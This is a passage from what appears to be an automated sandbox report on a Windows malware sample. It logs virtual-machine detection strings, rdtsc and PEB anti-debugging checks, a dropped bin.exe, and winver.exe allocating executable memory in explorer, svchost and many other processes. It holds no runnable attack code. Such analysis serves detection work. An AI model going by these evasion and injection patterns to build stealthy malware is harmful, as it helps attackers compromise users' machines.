Importer (S4TI)\S4TI.exe12450Toolkit12451VMware.View.Client12451{7C5A40EF-A0FB-4BFC-874A-C0F2E0B9FA8E}\Infor\Query and Analysis\VSetup.exe12451{7C5A40EF-A0FB-4BFC-874A-C0F
Source: explorer.exe, 00000003.00000000.1715884676.0000000009815000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: NECVMWar VMware SATA CD00\w
Source: explorer.exe, 00000003.00000000.1715884676.0000000009815000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: \\?\scsi#cdrom&ven_necvmwar&prod_vmware_sata_cd00#4&224f42ef&0&000000#{53f56308-b6bf-11d0-94f2-00a0c91efb8b}$
Source: explorer.exe, 00000003.00000002.3093722755.00000000098A8000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: SCSI\Disk&Ven_VMware&Prod_Virtual_disk\4&1656f219&0&000000
Source: SearchApp.exe, 0000000B.00000003.1889783869.0000024B42245000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: 200E}\Mic\|vmware horizon client\|vm ware8394
Source: SearchApp.exe, 0000000B.00000003.1889409291.0000024B42223000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: \|vmware vsphere client\|vspe6388
Source: SearchApp.exe, 0000000B.00000003.1889409291.0000024B42223000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: \|vmware horizon client\|vdi3894
Source: SearchApp.exe, 0000000B.00000003.1889409291.0000024B42223000.00000004.00000001.00020000.00000000.sdmp, SearchApp.exe, 0000000B.00000003.1889880818.0000024B5CB61000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: \|hyper-v manager\|hyper v4919
Source: SearchApp.exe, 0000000B.00000003.1889783869.0000024B42245000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: {7C5A40EF-A0FB-4BFC-874A-C0F2E0B9FA8E}\VMware\VMware vCenter Converter Standalone\converter.exe12207
Source: SearchApp.exe, 0000000B.00000003.1889409291.0000024B42223000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: \|vmware horizon client\|view5503
Source: svchost.exe, 00000005.00000000.1792111945.00000151A4AAE000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: @os=windows; osVer=10.0.19045.2006; lcid=en-GB; deviceType=9; deviceModel=VMware, Inc./VMware20,1;
Source: SearchApp.exe, 0000000B.00000003.1889783869.0000024B42245000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: 0E}\Minitab\Min\|vmware horizon client\|vmare7220
Source: SearchApp.exe, 0000000B.00000000.1888021587.0000024B55466000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: lyncvmwareonenoteneroXK
Source: SearchApp.exe, 0000000B.00000003.1889409291.0000024B42223000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: \|vmware vsphere client\|vcenter5038
Source: explorer.exe, 00000003.00000002.2977124293.0000000001240000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: SCSI\DISK&VEN_VMWARE&PROD_VIRTUAL_DISK\4&1656F219&0&000000

Source: C:\Users\user\Desktop\java.exe	API call chain: ExitProcess graph end node	graph_0-3090
Source: C:\Windows\SysWOW64\winver.exe	API call chain: ExitProcess graph end node	graph_2-2669
Source: C:\Users\user\AppData\Roaming\E38A1E29\bin.exe	API call chain: ExitProcess graph end node	graph_12-5897
Source: C:\Users\user\AppData\Roaming\E38A1E29\bin.exe	API call chain: ExitProcess graph end node	graph_12-5411
Source: C:\Users\user\AppData\Roaming\E38A1E29\bin.exe	API call chain: ExitProcess graph end node	graph_12-5583
Source: C:\Users\user\AppData\Roaming\E38A1E29\bin.exe	API call chain: ExitProcess graph end node
Source: C:\Users\user\AppData\Roaming\E38A1E29\bin.exe	API call chain: ExitProcess graph end node
Source: C:\Users\user\AppData\Roaming\E38A1E29\bin.exe	API call chain: ExitProcess graph end node
Source: C:\Users\user\AppData\Roaming\E38A1E29\bin.exe	API call chain: ExitProcess graph end node

Source: C:\Windows\SysWOW64\winver.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Users\user\Desktop\java.exe

Code function: 0_2_02220005 rdtsc

0_2_02220005

Source: C:\Users\user\Desktop\java.exe	Code function: 0_2_00401000 mov eax, dword ptr fs:[00000030h]	0_2_00401000
Source: C:\Users\user\Desktop\java.exe	Code function: 0_2_02220C63 mov eax, dword ptr fs:[00000030h]	0_2_02220C63
Source: C:\Windows\SysWOW64\winver.exe	Code function: 2_2_047E0C3F mov eax, dword ptr fs:[00000030h]	2_2_047E0C3F
Source: C:\Windows\explorer.exe	Code function: 3_2_01390C3F mov eax, dword ptr fs:[00000030h]	3_2_01390C3F
Source: C:\Windows\explorer.exe	Code function: 3_2_03450C3F mov eax, dword ptr fs:[00000030h]	3_2_03450C3F
Source: C:\Windows\System32\sihost.exe	Code function: 4_2_00AC0C3F mov eax, dword ptr fs:[00000030h]	4_2_00AC0C3F
Source: C:\Windows\System32\svchost.exe	Code function: 5_2_00910C3F mov eax, dword ptr fs:[00000030h]	5_2_00910C3F
Source: C:\Windows\System32\svchost.exe	Code function: 6_2_009A0C3F mov eax, dword ptr fs:[00000030h]	6_2_009A0C3F
Source: C:\Windows\System32\ctfmon.exe	Code function: 7_2_00A50C3F mov eax, dword ptr fs:[00000030h]	7_2_00A50C3F
Source: C:\Windows\System32\svchost.exe	Code function: 8_2_00D40C3F mov eax, dword ptr fs:[00000030h]	8_2_00D40C3F
Source: C:\Windows\SystemApps\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\StartMenuExperienceHost.exe	Code function: 9_2_00B50C3F mov eax, dword ptr fs:[00000030h]	9_2_00B50C3F
Source: C:\Windows\System32\RuntimeBroker.exe	Code function: 10_2_00110C3F mov eax, dword ptr fs:[00000030h]	10_2_00110C3F
Source: C:\Users\user\AppData\Roaming\E38A1E29\bin.exe	Code function: 12_2_001C0C3F mov eax, dword ptr fs:[00000030h]	12_2_001C0C3F
Source: C:\Users\user\AppData\Roaming\E38A1E29\bin.exe	Code function: 12_2_02240C63 mov eax, dword ptr fs:[00000030h]	12_2_02240C63
Source: C:\Windows\System32\RuntimeBroker.exe	Code function: 17_2_00AB0C3F mov eax, dword ptr fs:[00000030h]	17_2_00AB0C3F
Source: C:\Windows\System32\smartscreen.exe	Code function: 18_2_00290C3F mov eax, dword ptr fs:[00000030h]	18_2_00290C3F
Source: C:\Users\user\AppData\Roaming\E38A1E29\bin.exe	Code function: 19_2_001C0C3F mov eax, dword ptr fs:[00000030h]	19_2_001C0C3F
Source: C:\Users\user\AppData\Roaming\E38A1E29\bin.exe	Code function: 19_2_02410C63 mov eax, dword ptr fs:[00000030h]	19_2_02410C63
Source: C:\Windows\SystemApps\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\TextInputHost.exe	Code function: 21_2_00580C3F mov eax, dword ptr fs:[00000030h]	21_2_00580C3F
Source: C:\Windows\System32\RuntimeBroker.exe	Code function: 22_2_003D0C3F mov eax, dword ptr fs:[00000030h]	22_2_003D0C3F
Source: C:\Windows\System32\RuntimeBroker.exe	Code function: 23_2_00900C3F mov eax, dword ptr fs:[00000030h]	23_2_00900C3F
Source: C:\Windows\System32\ApplicationFrameHost.exe	Code function: 24_2_00180C3F mov eax, dword ptr fs:[00000030h]	24_2_00180C3F
Source: C:\Windows\System32\RuntimeBroker.exe	Code function: 26_2_00190C3F mov eax, dword ptr fs:[00000030h]	26_2_00190C3F
Source: C:\Windows\System32\oobe\UserOOBEBroker.exe	Code function: 28_2_00010C3F mov eax, dword ptr fs:[00000030h]	28_2_00010C3F
Source: C:\Windows\System32\svchost.exe	Code function: 29_2_009F0C3F mov eax, dword ptr fs:[00000030h]	29_2_009F0C3F
Source: C:\Windows\System32\conhost.exe	Code function: 30_2_00880C3F mov eax, dword ptr fs:[00000030h]	30_2_00880C3F
Source: C:\Windows\System32\dllhost.exe	Code function: 31_2_00980C3F mov eax, dword ptr fs:[00000030h]	31_2_00980C3F
Source: C:\Windows\System32\RuntimeBroker.exe	Code function: 33_2_00A20C3F mov eax, dword ptr fs:[00000030h]	33_2_00A20C3F
Source: C:\Windows\System32\RuntimeBroker.exe	Code function: 34_2_00060C3F mov eax, dword ptr fs:[00000030h]	34_2_00060C3F
Source: C:\Program Files (x86)\znXjjtGilEXQeCITXrhpAkAbipUXsuxVFFPAZzzoVAbegMq\KIdSIJzxFEgRWLYApSEFvZXik.exe	Code function: 35_2_03070C3F mov eax, dword ptr fs:[00000030h]	35_2_03070C3F
Source: C:\Program Files (x86)\znXjjtGilEXQeCITXrhpAkAbipUXsuxVFFPAZzzoVAbegMq\KIdSIJzxFEgRWLYApSEFvZXik.exe	Code function: 36_2_02CE0C3F mov eax, dword ptr fs:[00000030h]	36_2_02CE0C3F
Source: C:\Program Files (x86)\znXjjtGilEXQeCITXrhpAkAbipUXsuxVFFPAZzzoVAbegMq\KIdSIJzxFEgRWLYApSEFvZXik.exe	Code function: 37_2_00640C3F mov eax, dword ptr fs:[00000030h]	37_2_00640C3F
Source: C:\Program Files (x86)\znXjjtGilEXQeCITXrhpAkAbipUXsuxVFFPAZzzoVAbegMq\KIdSIJzxFEgRWLYApSEFvZXik.exe	Code function: 38_2_006D0C3F mov eax, dword ptr fs:[00000030h]	38_2_006D0C3F
Source: C:\Program Files (x86)\znXjjtGilEXQeCITXrhpAkAbipUXsuxVFFPAZzzoVAbegMq\KIdSIJzxFEgRWLYApSEFvZXik.exe	Code function: 39_2_02EF0C3F mov eax, dword ptr fs:[00000030h]	39_2_02EF0C3F
Source: C:\Program Files (x86)\znXjjtGilEXQeCITXrhpAkAbipUXsuxVFFPAZzzoVAbegMq\KIdSIJzxFEgRWLYApSEFvZXik.exe	Code function: 40_2_01470C3F mov eax, dword ptr fs:[00000030h]	40_2_01470C3F
Source: C:\Program Files (x86)\znXjjtGilEXQeCITXrhpAkAbipUXsuxVFFPAZzzoVAbegMq\KIdSIJzxFEgRWLYApSEFvZXik.exe	Code function: 41_2_01160C3F mov eax, dword ptr fs:[00000030h]	41_2_01160C3F
Source: C:\Program Files (x86)\znXjjtGilEXQeCITXrhpAkAbipUXsuxVFFPAZzzoVAbegMq\KIdSIJzxFEgRWLYApSEFvZXik.exe	Code function: 42_2_01FF0C3F mov eax, dword ptr fs:[00000030h]	42_2_01FF0C3F
Source: C:\Program Files (x86)\znXjjtGilEXQeCITXrhpAkAbipUXsuxVFFPAZzzoVAbegMq\KIdSIJzxFEgRWLYApSEFvZXik.exe	Code function: 43_2_02630C3F mov eax, dword ptr fs:[00000030h]	43_2_02630C3F
Source: C:\Program Files (x86)\znXjjtGilEXQeCITXrhpAkAbipUXsuxVFFPAZzzoVAbegMq\KIdSIJzxFEgRWLYApSEFvZXik.exe	Code function: 44_2_00810C3F mov eax, dword ptr fs:[00000030h]	44_2_00810C3F

HIPS / PFW / Operating System Protection Evasion

Allocates memory in foreign processes

Source: C:\Windows\SysWOW64\winver.exe	Memory allocated: C:\Windows\explorer.exe base: 1390000 protect: page execute and read and write	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Memory allocated: C:\Windows\System32\sihost.exe base: AC0000 protect: page execute and read and write	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Memory allocated: C:\Windows\System32\svchost.exe base: 910000 protect: page execute and read and write	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Memory allocated: C:\Windows\System32\svchost.exe base: 9A0000 protect: page execute and read and write	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Memory allocated: C:\Windows\System32\ctfmon.exe base: A50000 protect: page execute and read and write	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Memory allocated: C:\Windows\explorer.exe base: 3450000 protect: page execute and read and write	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Memory allocated: C:\Windows\System32\svchost.exe base: D40000 protect: page execute and read and write	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Memory allocated: C:\Windows\SystemApps\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\StartMenuExperienceHost.exe base: B50000 protect: page execute and read and write	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Memory allocated: C:\Windows\System32\RuntimeBroker.exe base: 110000 protect: page execute and read and write	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Memory allocated: C:\Windows\SystemApps\Microsoft.Windows.Search_cw5n1h2txyewy\SearchApp.exe base: A90000 protect: page execute and read and write	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Memory allocated: C:\Windows\System32\RuntimeBroker.exe base: AB0000 protect: page execute and read and write	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Memory allocated: C:\Windows\System32\smartscreen.exe base: 290000 protect: page execute and read and write	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Memory allocated: C:\Windows\SystemApps\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\TextInputHost.exe base: 580000 protect: page execute and read and write	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Memory allocated: C:\Windows\System32\RuntimeBroker.exe base: 3D0000 protect: page execute and read and write	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Memory allocated: C:\Windows\System32\RuntimeBroker.exe base: 900000 protect: page execute and read and write	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Memory allocated: C:\Windows\System32\ApplicationFrameHost.exe base: 180000 protect: page execute and read and write	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Memory allocated: C:\Program Files\WindowsApps\Microsoft.WindowsStore_11910.1002.5.0_x64__8wekyb3d8bbwe\WinStore.App.exe base: A10000 protect: page execute and read and write	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Memory allocated: C:\Windows\System32\RuntimeBroker.exe base: 190000 protect: page execute and read and write	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Memory allocated: C:\Windows\ImmersiveControlPanel\SystemSettings.exe base: F10000 protect: page execute and read and write	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Memory allocated: C:\Windows\System32\oobe\UserOOBEBroker.exe base: 10000 protect: page execute and read and write	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Memory allocated: C:\Windows\System32\svchost.exe base: 9F0000 protect: page execute and read and write	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Memory allocated: C:\Windows\System32\conhost.exe base: 880000 protect: page execute and read and write	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Memory allocated: C:\Windows\System32\dllhost.exe base: 980000 protect: page execute and read and write	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Memory allocated: C:\Windows\System32\backgroundTaskHost.exe base: C0000 protect: page execute and read and write	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Memory allocated: C:\Windows\System32\RuntimeBroker.exe base: A20000 protect: page execute and read and write	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Memory allocated: C:\Windows\System32\RuntimeBroker.exe base: 60000 protect: page execute and read and write	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Memory allocated: C:\Program Files (x86)\znXjjtGilEXQeCITXrhpAkAbipUXsuxVFFPAZzzoVAbegMq\KIdSIJzxFEgRWLYApSEFvZXik.exe base: 3070000 protect: page execute and read and write	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Memory allocated: C:\Program Files (x86)\znXjjtGilEXQeCITXrhpAkAbipUXsuxVFFPAZzzoVAbegMq\KIdSIJzxFEgRWLYApSEFvZXik.exe base: 2CE0000 protect: page execute and read and write	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Memory allocated: C:\Program Files (x86)\znXjjtGilEXQeCITXrhpAkAbipUXsuxVFFPAZzzoVAbegMq\KIdSIJzxFEgRWLYApSEFvZXik.exe base: 640000 protect: page execute and read and write	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Memory allocated: C:\Program Files (x86)\znXjjtGilEXQeCITXrhpAkAbipUXsuxVFFPAZzzoVAbegMq\KIdSIJzxFEgRWLYApSEFvZXik.exe base: 6D0000 protect: page execute and read and write	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Memory allocated: C:\Program Files (x86)\znXjjtGilEXQeCITXrhpAkAbipUXsuxVFFPAZzzoVAbegMq\KIdSIJzxFEgRWLYApSEFvZXik.exe base: 2EF0000 protect: page execute and read and write	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Memory allocated: C:\Program Files (x86)\znXjjtGilEXQeCITXrhpAkAbipUXsuxVFFPAZzzoVAbegMq\KIdSIJzxFEgRWLYApSEFvZXik.exe base: 1470000 protect: page execute and read and write	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Memory allocated: C:\Program Files (x86)\znXjjtGilEXQeCITXrhpAkAbipUXsuxVFFPAZzzoVAbegMq\KIdSIJzxFEgRWLYApSEFvZXik.exe base: 1160000 protect: page execute and read and write	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Memory allocated: C:\Program Files (x86)\znXjjtGilEXQeCITXrhpAkAbipUXsuxVFFPAZzzoVAbegMq\KIdSIJzxFEgRWLYApSEFvZXik.exe base: 1FF0000 protect: page execute and read and write	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Memory allocated: C:\Program Files (x86)\znXjjtGilEXQeCITXrhpAkAbipUXsuxVFFPAZzzoVAbegMq\KIdSIJzxFEgRWLYApSEFvZXik.exe base: 2630000 protect: page execute and read and write	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Memory allocated: C:\Program Files (x86)\znXjjtGilEXQeCITXrhpAkAbipUXsuxVFFPAZzzoVAbegMq\KIdSIJzxFEgRWLYApSEFvZXik.exe base: 810000 protect: page execute and read and write	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Memory allocated: C:\Program Files (x86)\znXjjtGilEXQeCITXrhpAkAbipUXsuxVFFPAZzzoVAbegMq\KIdSIJzxFEgRWLYApSEFvZXik.exe base: 2CF0000 protect: page execute and read and write	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Memory allocated: C:\Program Files (x86)\znXjjtGilEXQeCITXrhpAkAbipUXsuxVFFPAZzzoVAbegMq\KIdSIJzxFEgRWLYApSEFvZXik.exe base: 13C0000 protect: page execute and read and write	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Memory allocated: C:\Program Files (x86)\znXjjtGilEXQeCITXrhpAkAbipUXsuxVFFPAZzzoVAbegMq\KIdSIJzxFEgRWLYApSEFvZXik.exe base: 870000 protect: page execute and read and write	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Memory allocated: C:\Program Files (x86)\znXjjtGilEXQeCITXrhpAkAbipUXsuxVFFPAZzzoVAbegMq\KIdSIJzxFEgRWLYApSEFvZXik.exe base: 2210000 protect: page execute and read and write	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Memory allocated: C:\Program Files (x86)\znXjjtGilEXQeCITXrhpAkAbipUXsuxVFFPAZzzoVAbegMq\KIdSIJzxFEgRWLYApSEFvZXik.exe base: C30000 protect: page execute and read and write	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Memory allocated: C:\Program Files (x86)\znXjjtGilEXQeCITXrhpAkAbipUXsuxVFFPAZzzoVAbegMq\KIdSIJzxFEgRWLYApSEFvZXik.exe base: 25E0000 protect: page execute and read and write	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Memory allocated: C:\Program Files (x86)\znXjjtGilEXQeCITXrhpAkAbipUXsuxVFFPAZzzoVAbegMq\KIdSIJzxFEgRWLYApSEFvZXik.exe base: 2AB0000 protect: page execute and read and write	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Memory allocated: C:\Program Files (x86)\znXjjtGilEXQeCITXrhpAkAbipUXsuxVFFPAZzzoVAbegMq\KIdSIJzxFEgRWLYApSEFvZXik.exe base: 2410000 protect: page execute and read and write	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Memory allocated: C:\Program Files (x86)\znXjjtGilEXQeCITXrhpAkAbipUXsuxVFFPAZzzoVAbegMq\KIdSIJzxFEgRWLYApSEFvZXik.exe base: 13E0000 protect: page execute and read and write	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Memory allocated: C:\Program Files (x86)\znXjjtGilEXQeCITXrhpAkAbipUXsuxVFFPAZzzoVAbegMq\KIdSIJzxFEgRWLYApSEFvZXik.exe base: 2DF0000 protect: page execute and read and write	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Memory allocated: C:\Program Files (x86)\znXjjtGilEXQeCITXrhpAkAbipUXsuxVFFPAZzzoVAbegMq\KIdSIJzxFEgRWLYApSEFvZXik.exe base: 1150000 protect: page execute and read and write	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Memory allocated: C:\Program Files (x86)\znXjjtGilEXQeCITXrhpAkAbipUXsuxVFFPAZzzoVAbegMq\KIdSIJzxFEgRWLYApSEFvZXik.exe base: D20000 protect: page execute and read and write	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Memory allocated: C:\Program Files (x86)\znXjjtGilEXQeCITXrhpAkAbipUXsuxVFFPAZzzoVAbegMq\KIdSIJzxFEgRWLYApSEFvZXik.exe base: 2500000 protect: page execute and read and write	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Memory allocated: C:\Program Files (x86)\znXjjtGilEXQeCITXrhpAkAbipUXsuxVFFPAZzzoVAbegMq\KIdSIJzxFEgRWLYApSEFvZXik.exe base: 1520000 protect: page execute and read and write	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Memory allocated: C:\Program Files (x86)\znXjjtGilEXQeCITXrhpAkAbipUXsuxVFFPAZzzoVAbegMq\KIdSIJzxFEgRWLYApSEFvZXik.exe base: 2EB0000 protect: page execute and read and write	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Memory allocated: C:\Program Files (x86)\znXjjtGilEXQeCITXrhpAkAbipUXsuxVFFPAZzzoVAbegMq\KIdSIJzxFEgRWLYApSEFvZXik.exe base: FC0000 protect: page execute and read and write	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Memory allocated: C:\Program Files (x86)\znXjjtGilEXQeCITXrhpAkAbipUXsuxVFFPAZzzoVAbegMq\KIdSIJzxFEgRWLYApSEFvZXik.exe base: 29A0000 protect: page execute and read and write	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Memory allocated: C:\Program Files (x86)\znXjjtGilEXQeCITXrhpAkAbipUXsuxVFFPAZzzoVAbegMq\KIdSIJzxFEgRWLYApSEFvZXik.exe base: 2750000 protect: page execute and read and write	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Memory allocated: C:\Program Files (x86)\znXjjtGilEXQeCITXrhpAkAbipUXsuxVFFPAZzzoVAbegMq\KIdSIJzxFEgRWLYApSEFvZXik.exe base: 29D0000 protect: page execute and read and write	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Memory allocated: C:\Program Files (x86)\znXjjtGilEXQeCITXrhpAkAbipUXsuxVFFPAZzzoVAbegMq\KIdSIJzxFEgRWLYApSEFvZXik.exe base: 15B0000 protect: page execute and read and write	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Memory allocated: C:\Program Files (x86)\znXjjtGilEXQeCITXrhpAkAbipUXsuxVFFPAZzzoVAbegMq\KIdSIJzxFEgRWLYApSEFvZXik.exe base: 660000 protect: page execute and read and write	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Memory allocated: C:\Program Files (x86)\znXjjtGilEXQeCITXrhpAkAbipUXsuxVFFPAZzzoVAbegMq\KIdSIJzxFEgRWLYApSEFvZXik.exe base: 1030000 protect: page execute and read and write	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Memory allocated: C:\Program Files (x86)\znXjjtGilEXQeCITXrhpAkAbipUXsuxVFFPAZzzoVAbegMq\KIdSIJzxFEgRWLYApSEFvZXik.exe base: 2AF0000 protect: page execute and read and write	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Memory allocated: C:\Program Files (x86)\znXjjtGilEXQeCITXrhpAkAbipUXsuxVFFPAZzzoVAbegMq\KIdSIJzxFEgRWLYApSEFvZXik.exe base: 3030000 protect: page execute and read and write	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Memory allocated: C:\Program Files (x86)\znXjjtGilEXQeCITXrhpAkAbipUXsuxVFFPAZzzoVAbegMq\KIdSIJzxFEgRWLYApSEFvZXik.exe base: 12F0000 protect: page execute and read and write	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Memory allocated: C:\Program Files (x86)\znXjjtGilEXQeCITXrhpAkAbipUXsuxVFFPAZzzoVAbegMq\KIdSIJzxFEgRWLYApSEFvZXik.exe base: 10E0000 protect: page execute and read and write	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Memory allocated: C:\Program Files (x86)\znXjjtGilEXQeCITXrhpAkAbipUXsuxVFFPAZzzoVAbegMq\KIdSIJzxFEgRWLYApSEFvZXik.exe base: DD0000 protect: page execute and read and write	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Memory allocated: C:\Program Files (x86)\znXjjtGilEXQeCITXrhpAkAbipUXsuxVFFPAZzzoVAbegMq\KIdSIJzxFEgRWLYApSEFvZXik.exe base: 1180000 protect: page execute and read and write	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Memory allocated: C:\Program Files (x86)\znXjjtGilEXQeCITXrhpAkAbipUXsuxVFFPAZzzoVAbegMq\KIdSIJzxFEgRWLYApSEFvZXik.exe base: 29B0000 protect: page execute and read and write	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Memory allocated: C:\Program Files (x86)\znXjjtGilEXQeCITXrhpAkAbipUXsuxVFFPAZzzoVAbegMq\KIdSIJzxFEgRWLYApSEFvZXik.exe base: 24C0000 protect: page execute and read and write	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Memory allocated: C:\Program Files (x86)\znXjjtGilEXQeCITXrhpAkAbipUXsuxVFFPAZzzoVAbegMq\KIdSIJzxFEgRWLYApSEFvZXik.exe base: 9D0000 protect: page execute and read and write	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Memory allocated: C:\Program Files (x86)\znXjjtGilEXQeCITXrhpAkAbipUXsuxVFFPAZzzoVAbegMq\KIdSIJzxFEgRWLYApSEFvZXik.exe base: 940000 protect: page execute and read and write	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Memory allocated: C:\Program Files (x86)\znXjjtGilEXQeCITXrhpAkAbipUXsuxVFFPAZzzoVAbegMq\KIdSIJzxFEgRWLYApSEFvZXik.exe base: FF0000 protect: page execute and read and write	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Memory allocated: C:\Program Files (x86)\znXjjtGilEXQeCITXrhpAkAbipUXsuxVFFPAZzzoVAbegMq\KIdSIJzxFEgRWLYApSEFvZXik.exe base: E70000 protect: page execute and read and write	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Memory allocated: C:\Program Files (x86)\znXjjtGilEXQeCITXrhpAkAbipUXsuxVFFPAZzzoVAbegMq\KIdSIJzxFEgRWLYApSEFvZXik.exe base: 2D90000 protect: page execute and read and write	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Memory allocated: C:\Program Files (x86)\znXjjtGilEXQeCITXrhpAkAbipUXsuxVFFPAZzzoVAbegMq\KIdSIJzxFEgRWLYApSEFvZXik.exe base: 12A0000 protect: page execute and read and write	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Memory allocated: C:\Program Files (x86)\znXjjtGilEXQeCITXrhpAkAbipUXsuxVFFPAZzzoVAbegMq\KIdSIJzxFEgRWLYApSEFvZXik.exe base: 1020000 protect: page execute and read and write	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Memory allocated: C:\Program Files (x86)\znXjjtGilEXQeCITXrhpAkAbipUXsuxVFFPAZzzoVAbegMq\KIdSIJzxFEgRWLYApSEFvZXik.exe base: 1050000 protect: page execute and read and write	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Memory allocated: C:\Program Files (x86)\znXjjtGilEXQeCITXrhpAkAbipUXsuxVFFPAZzzoVAbegMq\KIdSIJzxFEgRWLYApSEFvZXik.exe base: FC0000 protect: page execute and read and write	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Memory allocated: C:\Program Files (x86)\znXjjtGilEXQeCITXrhpAkAbipUXsuxVFFPAZzzoVAbegMq\KIdSIJzxFEgRWLYApSEFvZXik.exe base: 4B0000 protect: page execute and read and write	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Memory allocated: C:\Program Files (x86)\znXjjtGilEXQeCITXrhpAkAbipUXsuxVFFPAZzzoVAbegMq\KIdSIJzxFEgRWLYApSEFvZXik.exe base: 990000 protect: page execute and read and write	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Memory allocated: C:\Program Files (x86)\znXjjtGilEXQeCITXrhpAkAbipUXsuxVFFPAZzzoVAbegMq\KIdSIJzxFEgRWLYApSEFvZXik.exe base: B80000 protect: page execute and read and write	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Memory allocated: C:\Program Files (x86)\znXjjtGilEXQeCITXrhpAkAbipUXsuxVFFPAZzzoVAbegMq\KIdSIJzxFEgRWLYApSEFvZXik.exe base: 190000 protect: page execute and read and write	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Memory allocated: C:\Program Files (x86)\znXjjtGilEXQeCITXrhpAkAbipUXsuxVFFPAZzzoVAbegMq\KIdSIJzxFEgRWLYApSEFvZXik.exe base: 9D0000 protect: page execute and read and write	Jump to behavior
